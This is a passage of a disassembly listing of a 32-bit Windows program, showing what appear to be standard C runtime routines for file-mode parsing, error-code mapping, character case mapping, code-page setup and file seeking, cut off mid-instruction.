sub eax, 0Eh jz short loc_411ACB dec eax jnz loc_411B62 cmp [ebp+var_4], ebx jnz loc_411B62 mov [ebp+var_4], 1 or ecx, 20h jmp short loc_411A82 ; --------------------------------------------------------------------------- loc_411ACB: ; CODE XREF: sub_411A3E+6Fj cmp [ebp+var_4], ebx jnz loc_411B62 mov [ebp+var_4], 1 or ecx, 10h jmp short loc_411A82 ; --------------------------------------------------------------------------- loc_411AE0: ; CODE XREF: sub_411A3E+6Aj test cl, 40h jnz short loc_411B62 or ecx, 40h jmp short loc_411A82 ; --------------------------------------------------------------------------- loc_411AEA: ; CODE XREF: sub_411A3E+65j test cl, 2 jnz short loc_411B62 and ecx, 0FFFFFFFEh and esi, 0FFFFFFFCh or ecx, 2 or esi, 80h jmp short loc_411A82 ; --------------------------------------------------------------------------- loc_411B00: ; CODE XREF: sub_411A3E+60j mov eax, 1000h test ecx, eax jnz short loc_411B62 or ecx, eax jmp loc_411A82 ; --------------------------------------------------------------------------- loc_411B10: ; CODE XREF: sub_411A3E+5Ej sub eax, 62h jz short loc_411B5D dec eax jz short loc_411B46 sub eax, 0Bh jz short loc_411B2F sub eax, 6 jnz short loc_411B62 test ch, 0C0h jnz short loc_411B62 or ch, 40h jmp loc_411A82 ; --------------------------------------------------------------------------- loc_411B2F: ; CODE XREF: sub_411A3E+DDj cmp [ebp+var_8], ebx jnz short loc_411B62 mov [ebp+var_8], 1 and esi, 0FFFFBFFFh jmp loc_411A82 ; --------------------------------------------------------------------------- loc_411B46: ; CODE XREF: sub_411A3E+D8j cmp [ebp+var_8], ebx jnz short loc_411B62 mov [ebp+var_8], 1 or esi, 4000h jmp loc_411A82 ; --------------------------------------------------------------------------- loc_411B5D: ; CODE XREF: sub_411A3E+D5j test ch, 0C0h jz short loc_411B69 loc_411B62: ; CODE XREF: sub_411A3E+72j ; sub_411A3E+7Bj ... xor edx, edx jmp loc_411A82 ; --------------------------------------------------------------------------- loc_411B69: ; CODE XREF: sub_411A3E+122j or ch, 80h jmp loc_411A82 ; --------------------------------------------------------------------------- loc_411B71: ; CODE XREF: sub_411A3E+4Aj ; sub_411A3E+52j push 1A4h push [ebp+arg_8] push ecx push [ebp+arg_0] call sub_41416A mov ecx, eax add esp, 10h cmp ecx, ebx jge short loc_411B8F loc_411B8B: ; CODE XREF: sub_411A3E+25j xor eax, eax jmp short loc_411BA9 ; --------------------------------------------------------------------------- loc_411B8F: ; CODE XREF: sub_411A3E+14Bj mov eax, [ebp+arg_C] inc dword_47FAD8 mov [eax+0Ch], esi mov [eax+4], ebx mov [eax], ebx mov [eax+8], ebx mov [eax+1Ch], ebx mov [eax+10h], ecx loc_411BA9: ; CODE XREF: sub_411A3E+14Fj pop edi pop esi pop ebx leave retn sub_411A3E endp ; =============== S U B R O U T I N E ======================================= sub_411BAE proc near ; CODE XREF: sub_40C798p mov edx, dword_480C20 push ebx push ebp push esi xor ebp, ebp xor esi, esi xor eax, eax cmp edx, ebp push edi jle short loc_411C1F mov ebx, dword_47FC08 mov edi, ebx loc_411BCA: ; CODE XREF: sub_411BAE+2Ej mov ecx, [edi] cmp ecx, ebp jz short loc_411BE5 test byte ptr [ecx+0Ch], 83h jz short loc_411BE0 inc eax add edi, 4 cmp eax, edx jl short loc_411BCA jmp short loc_411C1F ; --------------------------------------------------------------------------- loc_411BE0: ; CODE XREF: sub_411BAE+26j mov esi, [ebx+eax*4] jmp short loc_411C09 ; --------------------------------------------------------------------------- loc_411BE5: ; CODE XREF: sub_411BAE+20j mov edi, eax push 20h shl edi, 2 call sub_40B6BF pop ecx mov ecx, dword_47FC08 mov [edi+ecx], eax mov eax, dword_47FC08 mov edi, [edi+eax] cmp edi, ebp jz short loc_411C1F mov esi, edi loc_411C09: ; CODE XREF: sub_411BAE+35j cmp esi, ebp jz short loc_411C1F or dword ptr [esi+10h], 0FFFFFFFFh mov [esi+4], ebp mov [esi+0Ch], ebp mov [esi+8], ebp mov [esi], ebp mov [esi+1Ch], ebp loc_411C1F: ; CODE XREF: sub_411BAE+12j ; sub_411BAE+30j ... mov eax, esi pop edi pop esi pop ebp pop ebx retn sub_411BAE endp ; =============== S U B R O U T I N E ======================================= sub_411C26 proc near ; CODE XREF: sub_40C7CB+16p ; sub_40D3E7+1Dp ... arg_0 = dword ptr 4 mov ecx, [esp+arg_0] xor edx, edx mov dword_47F918, ecx mov eax, offset dword_41FF90 loc_411C37: ; CODE XREF: sub_411C26+1Ej cmp ecx, [eax] jz short loc_411C5B add eax, 8 inc edx cmp eax, offset byte_4200F8 jl short loc_411C37 cmp ecx, 13h jb short loc_411C68 cmp ecx, 24h ja short loc_411C68 mov dword_47F914, 0Dh retn ; --------------------------------------------------------------------------- loc_411C5B: ; CODE XREF: sub_411C26+13j mov eax, dword_41FF94[edx*8] mov dword_47F914, eax retn ; --------------------------------------------------------------------------- loc_411C68: ; CODE XREF: sub_411C26+23j ; sub_411C26+28j cmp ecx, 0BCh jb short loc_411C82 cmp ecx, 0CAh mov dword_47F914, 8 jbe short locret_411C8C loc_411C82: ; CODE XREF: sub_411C26+48j mov dword_47F914, 16h locret_411C8C: ; CODE XREF: sub_411C26+5Aj retn sub_411C26 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_411C8D proc near ; CODE XREF: sub_40CA73+12Bp var_4 = byte ptr -4 var_3 = byte ptr -3 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx cmp dword_47F9A4, 0 push ebx jnz short loc_411CB8 mov eax, [ebp+arg_0] cmp eax, 61h jl loc_411D56 cmp eax, 7Ah jg loc_411D56 sub eax, 20h jmp loc_411D56 ; --------------------------------------------------------------------------- loc_411CB8: ; CODE XREF: sub_411C8D+Cj mov ebx, [ebp+arg_0] cmp ebx, 100h jge short loc_411CEB cmp dword_41FF84, 1 jle short loc_411CD8 push 2 push ebx call sub_4114D9 pop ecx pop ecx jmp short loc_411CE3 ; --------------------------------------------------------------------------- loc_411CD8: ; CODE XREF: sub_411C8D+3Dj mov eax, off_41FD78 mov al, [eax+ebx*2] and eax, 2 loc_411CE3: ; CODE XREF: sub_411C8D+49j test eax, eax jnz short loc_411CEB loc_411CE7: ; CODE XREF: sub_411C8D+AFj mov eax, ebx jmp short loc_411D56 ; --------------------------------------------------------------------------- loc_411CEB: ; CODE XREF: sub_411C8D+34j ; sub_411C8D+58j mov edx, off_41FD78 mov eax, ebx sar eax, 8 movzx ecx, al test byte ptr [edx+ecx*2+1], 80h jz short loc_411D0E and byte ptr [ebp+arg_0+2], 0 mov byte ptr [ebp+arg_0], al mov byte ptr [ebp+arg_0+1], bl push 2 jmp short loc_411D17 ; --------------------------------------------------------------------------- loc_411D0E: ; CODE XREF: sub_411C8D+71j and byte ptr [ebp+arg_0+1], 0 mov byte ptr [ebp+arg_0], bl push 1 loc_411D17: ; CODE XREF: sub_411C8D+7Fj pop eax lea ecx, [ebp+var_4] push 1 push 0 push 3 push ecx push eax lea eax, [ebp+arg_0] push eax push 200h push dword_47F9A4 call sub_411E1B add esp, 20h test eax, eax jz short loc_411CE7 cmp eax, 1 jnz short loc_411D49 movzx eax, [ebp+var_4] jmp short loc_411D56 ; --------------------------------------------------------------------------- loc_411D49: ; CODE XREF: sub_411C8D+B4j movzx eax, [ebp+var_3] movzx ecx, [ebp+var_4] shl eax, 8 or eax, ecx loc_411D56: ; CODE XREF: sub_411C8D+14j ; sub_411C8D+1Dj ... pop ebx leave retn sub_411C8D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_411D59 proc near ; CODE XREF: sub_40CC92+C9p var_24 = byte ptr -24h var_1C = dword ptr -1Ch var_14 = dword ptr -14h var_10 = dword ptr -10h var_8 = dword ptr -8 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp sub esp, 24h push ebx mov ebx, [ebp+arg_0] sub ebx, 76Ch cmp ebx, 46h jl loc_411E15 cmp ebx, 8Ah jg loc_411E15 push esi push edi mov edi, [ebp+arg_4] mov esi, dword_4206AC[edi*4] add esi, [ebp+arg_8] test bl, 3 jnz short loc_411D98 cmp edi, 2 jle short loc_411D98 inc esi loc_411D98: ; CODE XREF: sub_411D59+37j ; sub_411D59+3Cj call sub_414423 mov eax, ebx lea ecx, [ebx-1] imul eax, 16Dh sar ecx, 2 mov edx, esi mov [ebp+var_8], esi add edx, ecx mov [ebp+var_10], ebx add eax, edx mov edx, [ebp+arg_14] lea ecx, [eax+eax*2] mov eax, [ebp+arg_C] mov [ebp+var_1C], eax lea ecx, [eax+ecx*8] imul ecx, 3Ch add ecx, [ebp+arg_10] imul ecx, 3Ch add ecx, dword_4205C8 dec edi cmp [ebp+arg_18], 1 mov [ebp+var_14], edi pop edi pop esi lea ecx, [ecx+edx+7C558180h] mov [ebp+arg_0], ecx jz short loc_411E0B cmp [ebp+arg_18], 0FFFFFFFFh jnz short loc_411E11 cmp dword_4205CC, 0 jz short loc_411E11 lea eax, [ebp+var_24] push eax call sub_414696 pop ecx mov ecx, [ebp+arg_0] test eax, eax jz short loc_411E11 loc_411E0B: ; CODE XREF: sub_411D59+90j add ecx, dword_4205D0 loc_411E11: ; CODE XREF: sub_411D59+96j ; sub_411D59+9Fj ... mov eax, ecx jmp short loc_411E18 ; --------------------------------------------------------------------------- loc_411E15: ; CODE XREF: sub_411D59+13j ; sub_411D59+1Fj or eax, 0FFFFFFFFh loc_411E18: ; CODE XREF: sub_411D59+BAj pop ebx leave retn sub_411D59 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_411E1B proc near ; CODE XREF: sub_40CEE0+A3p ; sub_411C8D+A5p ... var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_417868 push offset sub_412F2C mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 1Ch push ebx push esi push edi mov [ebp+var_18], esp xor edi, edi cmp dword_47F998, edi jnz short loc_411E91 push edi push edi push 1 pop ebx push ebx push offset dword_417860 mov esi, 100h push esi push edi call dword_417150 ; LCMapStringW test eax, eax jz short loc_411E6F mov dword_47F998, ebx jmp short loc_411E91 ; --------------------------------------------------------------------------- loc_411E6F: ; CODE XREF: sub_411E1B+4Aj push edi push edi push ebx push offset dword_42226C push esi push edi call dword_41714C ; LCMapStringA test eax, eax jz loc_411FA9 mov dword_47F998, 2 loc_411E91: ; CODE XREF: sub_411E1B+2Ej ; sub_411E1B+52j cmp [ebp+arg_C], edi jle short loc_411EA6 push [ebp+arg_C] push [ebp+arg_8] call sub_415DCC pop ecx pop ecx mov [ebp+arg_C], eax loc_411EA6: ; CODE XREF: sub_411E1B+79j mov eax, dword_47F998 cmp eax, 2 jnz short loc_411ECD push [ebp+arg_14] push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call dword_41714C ; LCMapStringA jmp loc_411FAB ; --------------------------------------------------------------------------- loc_411ECD: ; CODE XREF: sub_411E1B+93j cmp eax, 1 jnz loc_411FA9 cmp [ebp+arg_18], edi jnz short loc_411EE3 mov eax, dword_47F9B4 mov [ebp+arg_18], eax loc_411EE3: ; CODE XREF: sub_411E1B+BEj push edi push edi push [ebp+arg_C] push [ebp+arg_8] mov eax, [ebp+arg_1C] neg eax sbb eax, eax and eax, 8 inc eax push eax push [ebp+arg_18] call dword_4170C4 ; MultiByteToWideChar mov ebx, eax mov [ebp+var_1C], ebx cmp ebx, edi jz loc_411FA9 mov [ebp+var_4], edi lea eax, [ebx+ebx] add eax, 3 and al, 0FCh call sub_40B690 mov [ebp+var_18], esp mov eax, esp mov [ebp+var_24], eax or [ebp+var_4], 0FFFFFFFFh jmp short loc_411F3E ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] xor edi, edi mov [ebp+var_24], edi or [ebp+var_4], 0FFFFFFFFh mov ebx, [ebp+var_1C] loc_411F3E: ; CODE XREF: sub_411E1B+10Ej cmp [ebp+var_24], edi jz short loc_411FA9 push ebx push [ebp+var_24] push [ebp+arg_C] push [ebp+arg_8] push 1 push [ebp+arg_18] call dword_4170C4 ; MultiByteToWideChar test eax, eax jz short loc_411FA9 push edi push edi push ebx push [ebp+var_24] push [ebp+arg_4] push [ebp+arg_0] call dword_417150 ; LCMapStringW mov esi, eax mov [ebp+var_28], esi cmp esi, edi jz short loc_411FA9 test byte ptr [ebp+arg_4+1], 4 jz short loc_411FBD cmp [ebp+arg_14], edi jz loc_412038 cmp esi, [ebp+arg_14] jg short loc_411FA9 push [ebp+arg_14] push [ebp+arg_10] push ebx push [ebp+var_24] push [ebp+arg_4] push [ebp+arg_0] call dword_417150 ; LCMapStringW test eax, eax jnz loc_412038 loc_411FA9: ; CODE XREF: sub_411E1B+66j ; sub_411E1B+B5j ... xor eax, eax loc_411FAB: ; CODE XREF: sub_411E1B+ADj ; sub_411E1B+21Fj lea esp, [ebp-38h] mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_411FBD: ; CODE XREF: sub_411E1B+160j mov [ebp+var_4], 1 lea eax, [esi+esi] add eax, 3 and al, 0FCh call sub_40B690 mov [ebp+var_18], esp mov ebx, esp mov [ebp+var_20], ebx or [ebp+var_4], 0FFFFFFFFh jmp short loc_411FF1 ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] xor edi, edi xor ebx, ebx or [ebp+var_4], 0FFFFFFFFh mov esi, [ebp+var_28] loc_411FF1: ; CODE XREF: sub_411E1B+1C2j cmp ebx, edi jz short loc_411FA9 push esi push ebx push [ebp+var_1C] push [ebp+var_24] push [ebp+arg_4] push [ebp+arg_0] call dword_417150 ; LCMapStringW test eax, eax jz short loc_411FA9 cmp [ebp+arg_14], edi push edi push edi jnz short loc_412018 push edi push edi jmp short loc_41201E ; --------------------------------------------------------------------------- loc_412018: ; CODE XREF: sub_411E1B+1F7j push [ebp+arg_14] push [ebp+arg_10] loc_41201E: ; CODE XREF: sub_411E1B+1FBj push esi push ebx push 220h push [ebp+arg_18] call dword_4170C0 ; WideCharToMultiByte mov esi, eax cmp esi, edi jz loc_411FA9 loc_412038: ; CODE XREF: sub_411E1B+165j ; sub_411E1B+188j mov eax, esi jmp loc_411FAB sub_411E1B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41203F proc near ; CODE XREF: sub_412403+Bp var_18 = dword ptr -18h var_12 = byte ptr -12h var_11 = byte ptr -11h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 18h push ebx push esi push edi push [ebp+arg_0] call sub_4121D8 ; GetOEMCP mov esi, eax pop ecx cmp esi, dword_480D44 mov [ebp+arg_0], esi jz loc_4121CC xor ebx, ebx cmp esi, ebx jz loc_4121C2 xor edx, edx mov eax, offset dword_420100 loc_412073: ; CODE XREF: sub_41203F+41j cmp [eax], esi jz short loc_4120E9 add eax, 30h inc edx cmp eax, offset dword_4201F0 jl short loc_412073 lea eax, [ebp+var_18] push eax push esi call dword_417154 ; GetCPInfo cmp eax, 1 jnz loc_4121BA push 40h xor eax, eax pop ecx mov edi, offset byte_480E60 cmp [ebp+var_18], 1 mov dword_480D44, esi rep stosd stosb mov dword_480F64, ebx jbe loc_4121A8 cmp [ebp+var_12], 0 jz loc_41217E lea ecx, [ebp+var_11] loc_4120C6: ; CODE XREF: sub_41203F+139j mov dl, [ecx] test dl, dl jz loc_41217E movzx eax, byte ptr [ecx-1] movzx edx, dl loc_4120D7: ; CODE XREF: sub_41203F+A8j cmp eax, edx ja loc_412172 or byte_480E61[eax], 4 inc eax jmp short loc_4120D7 ; --------------------------------------------------------------------------- loc_4120E9: ; CODE XREF: sub_41203F+36j push 40h xor eax, eax pop ecx mov edi, offset byte_480E60 rep stosd lea esi, [edx+edx*2] mov [ebp+var_4], ebx shl esi, 4 stosb lea ebx, dword_420110[esi] loc_412105: ; CODE XREF: sub_41203F+103j cmp byte ptr [ebx], 0 mov ecx, ebx jz short loc_412138 loc_41210C: ; CODE XREF: sub_41203F+F7j mov dl, [ecx+1] test dl, dl jz short loc_412138 movzx eax, byte ptr [ecx] movzx edi, dl cmp eax, edi ja short loc_412131 mov edx, [ebp+var_4] mov dl, byte_4200F8[edx] loc_412126: ; CODE XREF: sub_41203F+F0j or byte_480E61[eax], dl inc eax cmp eax, edi jbe short loc_412126 loc_412131: ; CODE XREF: sub_41203F+DCj inc ecx inc ecx cmp byte ptr [ecx], 0 jnz short loc_41210C loc_412138: ; CODE XREF: sub_41203F+CBj ; sub_41203F+D2j inc [ebp+var_4] add ebx, 8 cmp [ebp+var_4], 4 jb short loc_412105 mov eax, [ebp+arg_0] mov dword_480D5C, 1 push eax mov dword_480D44, eax call sub_412222 lea esi, dword_420104[esi] mov edi, offset dword_480D50 movsd movsd pop ecx mov dword_480F64, eax movsd jmp short loc_4121C7 ; --------------------------------------------------------------------------- loc_412172: ; CODE XREF: sub_41203F+9Aj inc ecx inc ecx cmp byte ptr [ecx-1], 0 jnz loc_4120C6 loc_41217E: ; CODE XREF: sub_41203F+7Ej ; sub_41203F+8Bj push 1 pop eax loc_412181: ; CODE XREF: sub_41203F+14Fj or byte_480E61[eax], 8 inc eax cmp eax, 0FFh jb short loc_412181 push esi call sub_412222 pop ecx mov dword_480F64, eax mov dword_480D5C, 1 jmp short loc_4121AE ; --------------------------------------------------------------------------- loc_4121A8: ; CODE XREF: sub_41203F+74j mov dword_480D5C, ebx loc_4121AE: ; CODE XREF: sub_41203F+167j xor eax, eax mov edi, offset dword_480D50 stosd stosd stosd jmp short loc_4121C7 ; --------------------------------------------------------------------------- loc_4121BA: ; CODE XREF: sub_41203F+51j cmp dword_47F9BC, ebx jz short loc_4121D0 loc_4121C2: ; CODE XREF: sub_41203F+27j call sub_412255 loc_4121C7: ; CODE XREF: sub_41203F+131j ; sub_41203F+179j call sub_41227E loc_4121CC: ; CODE XREF: sub_41203F+1Dj xor eax, eax jmp short loc_4121D3 ; --------------------------------------------------------------------------- loc_4121D0: ; CODE XREF: sub_41203F+181j or eax, 0FFFFFFFFh loc_4121D3: ; CODE XREF: sub_41203F+18Fj pop edi pop esi pop ebx leave retn sub_41203F endp ; =============== S U B R O U T I N E ======================================= sub_4121D8 proc near ; CODE XREF: sub_41203F+Cp arg_0 = dword ptr 4 mov eax, [esp+arg_0] and dword_47F9BC, 0 cmp eax, 0FFFFFFFEh jnz short loc_4121F8 mov dword_47F9BC, 1 jmp dword_41715C ; --------------------------------------------------------------------------- loc_4121F8: ; CODE XREF: sub_4121D8+Ej cmp eax, 0FFFFFFFDh jnz short loc_41220D mov dword_47F9BC, 1 jmp dword_417158 ; --------------------------------------------------------------------------- loc_41220D: ; CODE XREF: sub_4121D8+23j cmp eax, 0FFFFFFFCh jnz short locret_412221 mov eax, dword_47F9B4 mov dword_47F9BC, 1 locret_412221: ; CODE XREF: sub_4121D8+38j retn sub_4121D8 endp ; =============== S U B R O U T I N E ======================================= sub_412222 proc near ; CODE XREF: sub_41203F+118p ; sub_41203F+152p arg_0 = dword ptr 4 mov eax, [esp+arg_0] sub eax, 3A4h jz short loc_41224F sub eax, 4 jz short loc_412249 sub eax, 0Dh jz short loc_412243 dec eax jz short loc_41223D xor eax, eax retn ; --------------------------------------------------------------------------- loc_41223D: ; CODE XREF: sub_412222+16j mov eax, 404h retn ; --------------------------------------------------------------------------- loc_412243: ; CODE XREF: sub_412222+13j mov eax, 412h retn ; --------------------------------------------------------------------------- loc_412249: ; CODE XREF: sub_412222+Ej mov eax, 804h retn ; --------------------------------------------------------------------------- loc_41224F: ; CODE XREF: sub_412222+9j mov eax, 411h retn sub_412222 endp ; =============== S U B R O U T I N E ======================================= sub_412255 proc near ; CODE XREF: sub_41203F:loc_4121C2p push edi push 40h pop ecx xor eax, eax mov edi, offset byte_480E60 rep stosd stosb xor eax, eax mov edi, offset dword_480D50 mov dword_480D44, eax mov dword_480D5C, eax mov dword_480F64, eax stosd stosd stosd pop edi retn sub_412255 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41227E proc near ; CODE XREF: sub_41203F:loc_4121C7p var_514 = byte ptr -514h var_314 = byte ptr -314h var_214 = byte ptr -214h var_114 = byte ptr -114h var_14 = byte ptr -14h var_E = byte ptr -0Eh var_D = byte ptr -0Dh push ebp mov ebp, esp sub esp, 514h lea eax, [ebp+var_14] push esi push eax push dword_480D44 call dword_417154 ; GetCPInfo cmp eax, 1 jnz loc_4123B7 xor eax, eax mov esi, 100h loc_4122A8: ; CODE XREF: sub_41227E+34j mov [ebp+eax+var_114], al inc eax cmp eax, esi jb short loc_4122A8 mov al, [ebp+var_E] mov [ebp+var_114], 20h test al, al jz short loc_4122F9 push ebx push edi lea edx, [ebp+var_D] loc_4122C7: ; CODE XREF: sub_41227E+77j movzx ecx, byte ptr [edx] movzx eax, al cmp eax, ecx ja short loc_4122EE sub ecx, eax lea edi, [ebp+eax+var_114] inc ecx mov eax, 20202020h mov ebx, ecx shr ecx, 2 rep stosd mov ecx, ebx and ecx, 3 rep stosb loc_4122EE: ; CODE XREF: sub_41227E+51j inc edx inc edx mov al, [edx-1] test al, al jnz short loc_4122C7 pop edi pop ebx loc_4122F9: ; CODE XREF: sub_41227E+42j push 0 lea eax, [ebp+var_514] push dword_480F64 push dword_480D44 push eax lea eax, [ebp+var_114] push esi push eax push 1 call sub_413E07 push 0 lea eax, [ebp+var_214] push dword_480D44 push esi push eax lea eax, [ebp+var_114] push esi push eax push esi push dword_480F64 call sub_411E1B push 0 lea eax, [ebp+var_314] push dword_480D44 push esi push eax lea eax, [ebp+var_114] push esi push eax push 200h push dword_480F64 call sub_411E1B add esp, 5Ch xor eax, eax lea ecx, [ebp+var_514] loc_412374: ; CODE XREF: sub_41227E+135j mov dx, [ecx] test dl, 1 jz short loc_412392 or byte_480E61[eax], 10h mov dl, [ebp+eax+var_214] loc_41238A: ; CODE XREF: sub_41227E+127j mov byte_480D60[eax], dl jmp short loc_4123AE ; --------------------------------------------------------------------------- loc_412392: ; CODE XREF: sub_41227E+FCj test dl, 2 jz short loc_4123A7 or byte_480E61[eax], 20h mov dl, [ebp+eax+var_314] jmp short loc_41238A ; --------------------------------------------------------------------------- loc_4123A7: ; CODE XREF: sub_41227E+117j and byte_480D60[eax], 0 loc_4123AE: ; CODE XREF: sub_41227E+112j inc eax inc ecx inc ecx cmp eax, esi jb short loc_412374 jmp short loc_412400 ; --------------------------------------------------------------------------- loc_4123B7: ; CODE XREF: sub_41227E+1Dj xor eax, eax mov esi, 100h loc_4123BE: ; CODE XREF: sub_41227E+180j cmp eax, 41h jb short loc_4123DC cmp eax, 5Ah ja short loc_4123DC or byte_480E61[eax], 10h mov cl, al add cl, 20h loc_4123D4: ; CODE XREF: sub_41227E+174j mov byte_480D60[eax], cl jmp short loc_4123FB ; --------------------------------------------------------------------------- loc_4123DC: ; CODE XREF: sub_41227E+143j ; sub_41227E+148j cmp eax, 61h jb short loc_4123F4 cmp eax, 7Ah ja short loc_4123F4 or byte_480E61[eax], 20h mov cl, al sub cl, 20h jmp short loc_4123D4 ; --------------------------------------------------------------------------- loc_4123F4: ; CODE XREF: sub_41227E+161j ; sub_41227E+166j and byte_480D60[eax], 0 loc_4123FB: ; CODE XREF: sub_41227E+15Cj inc eax cmp eax, esi jb short loc_4123BE loc_412400: ; CODE XREF: sub_41227E+137j pop esi leave retn sub_41227E endp ; =============== S U B R O U T I N E ======================================= sub_412403 proc near ; CODE XREF: sub_4128E9+9p ; sub_412941+Dp ... cmp dword_480F94, 0 jnz short locret_41241E push 0FFFFFFFDh call sub_41203F pop ecx mov dword_480F94, 1 locret_41241E: ; CODE XREF: sub_412403+7j retn sub_412403 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41241F proc near ; CODE XREF: sub_40D21A+2Bp ; sub_40D21A+A6p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp cmp dword_480D5C, 0 push edi mov edi, [ebp+arg_0] mov [ebp+arg_0], edi jnz short loc_412443 push [ebp+arg_8] push [ebp+arg_4] push edi call sub_40B110 add esp, 0Ch jmp short loc_4124A6 ; --------------------------------------------------------------------------- loc_412443: ; CODE XREF: sub_41241F+11j mov edx, [ebp+arg_8] push esi test edx, edx jz short loc_412488 mov ecx, [ebp+arg_4] loc_41244E: ; CODE XREF: sub_41241F+5Bj mov al, [ecx] dec edx movzx esi, al test byte_480E61[esi], 4 mov [edi], al jz short loc_412472 inc edi inc ecx test edx, edx jz short loc_41247E mov al, [ecx] dec edx mov [edi], al inc edi inc ecx test al, al jz short loc_412484 jmp short loc_412478 ; --------------------------------------------------------------------------- loc_412472: ; CODE XREF: sub_41241F+3Ej inc edi inc ecx test al, al jz short loc_412488 loc_412478: ; CODE XREF: sub_41241F+51j test edx, edx jnz short loc_41244E jmp short loc_412488 ; --------------------------------------------------------------------------- loc_41247E: ; CODE XREF: sub_41241F+44j and byte ptr [edi-1], 0 jmp short loc_412488 ; --------------------------------------------------------------------------- loc_412484: ; CODE XREF: sub_41241F+4Fj and byte ptr [edi-2], 0 loc_412488: ; CODE XREF: sub_41241F+2Aj ; sub_41241F+57j ... mov eax, edx dec edx test eax, eax pop esi jz short loc_4124A3 lea ecx, [edx+1] xor eax, eax mov edx, ecx shr ecx, 2 rep stosd mov ecx, edx and ecx, 3 rep stosb loc_4124A3: ; CODE XREF: sub_41241F+6Fj mov eax, [ebp+arg_0] loc_4124A6: ; CODE XREF: sub_41241F+22j pop edi pop ebp retn sub_41241F endp ; =============== S U B R O U T I N E ======================================= sub_4124A9 proc near ; CODE XREF: sub_40D411+8p arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push dword ptr [esi+10h] call sub_413381 test eax, eax pop ecx jz short loc_412532 cmp esi, offset dword_420330 jnz short loc_4124C7 xor eax, eax jmp short loc_4124D2 ; --------------------------------------------------------------------------- loc_4124C7: ; CODE XREF: sub_4124A9+18j cmp esi, offset dword_420350 jnz short loc_412532 push 1 pop eax loc_4124D2: ; CODE XREF: sub_4124A9+1Cj inc dword_47FAD8 test word ptr [esi+0Ch], 10Ch jnz short loc_412532 cmp dword_47F9C0[eax*4], 0 push ebx push edi lea edi, ds:47F9C0h[eax*4] mov ebx, 1000h jnz short loc_412518 push ebx call sub_40B6BF test eax, eax pop ecx mov [edi], eax jnz short loc_412518 lea eax, [esi+14h] push 2 mov [esi+8], eax mov [esi], eax pop eax mov [esi+18h], eax mov [esi+4], eax jmp short loc_412525 ; --------------------------------------------------------------------------- loc_412518: ; CODE XREF: sub_4124A9+4Dj ; sub_4124A9+5Aj mov edi, [edi] mov [esi+18h], ebx mov [esi+8], edi mov [esi], edi mov [esi+4], ebx loc_412525: ; CODE XREF: sub_4124A9+6Dj or word ptr [esi+0Ch], 1102h push 1 pop eax pop edi pop ebx pop esi retn ; --------------------------------------------------------------------------- loc_412532: ; CODE XREF: sub_4124A9+10j ; sub_4124A9+24j ... xor eax, eax pop esi retn sub_4124A9 endp ; =============== S U B R O U T I N E ======================================= sub_412536 proc near ; CODE XREF: sub_40D411+24p arg_0 = dword ptr 4 arg_4 = dword ptr 8 cmp [esp+arg_0], 0 push esi jz short loc_412560 mov esi, [esp+4+arg_4] test byte ptr [esi+0Dh], 10h jz short loc_412571 push esi call sub_41169D and byte ptr [esi+0Dh], 0EEh and dword ptr [esi+18h], 0 and dword ptr [esi], 0 and dword ptr [esi+8], 0 pop ecx pop esi retn ; --------------------------------------------------------------------------- loc_412560: ; CODE XREF: sub_412536+6j mov eax, [esp+4+arg_4] test byte ptr [eax+0Dh], 10h jz short loc_412571 push eax call sub_41169D pop ecx loc_412571: ; CODE XREF: sub_412536+10j ; sub_412536+32j pop esi retn sub_412536 endp ; =============== S U B R O U T I N E ======================================= sub_412573 proc near ; CODE XREF: sub_40D488+67p ; sub_40D653+CDp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov eax, [esp+arg_0] push ebx cmp eax, dword_480D40 push esi push edi jnb short loc_4125F5 mov ecx, eax mov esi, eax sar ecx, 5 and esi, 1Fh lea edi, ds:480C40h[ecx*4] shl esi, 3 mov ecx, [edi] test byte ptr [ecx+esi+4], 1 jz short loc_4125F5 push eax call sub_4140D6 cmp eax, 0FFFFFFFFh pop ecx jnz short loc_4125B7 mov dword_47F914, 9 jmp short loc_412606 ; --------------------------------------------------------------------------- loc_4125B7: ; CODE XREF: sub_412573+36j push [esp+0Ch+arg_8] push 0 push [esp+14h+arg_4] push eax call dword_417160 ; SetFilePointer mov ebx, eax cmp ebx, 0FFFFFFFFh jnz short loc_4125D7 call dword_417044 ; RtlGetLastWin32Error jmp short loc_4125D9 ; --------------------------------------------------------------------------- loc_4125D7: ; CODE XREF: sub_412573+5Aj xor eax, eax loc_4125D9: ; CODE XREF: sub_412573+62j test eax, eax jz short loc_4125E6 push eax call sub_411C26 pop ecx jmp short loc_412606 ; --------------------------------------------------------------------------- loc_4125E6: ; CODE XREF: sub_412573+68j mov eax, [edi] and byte ptr 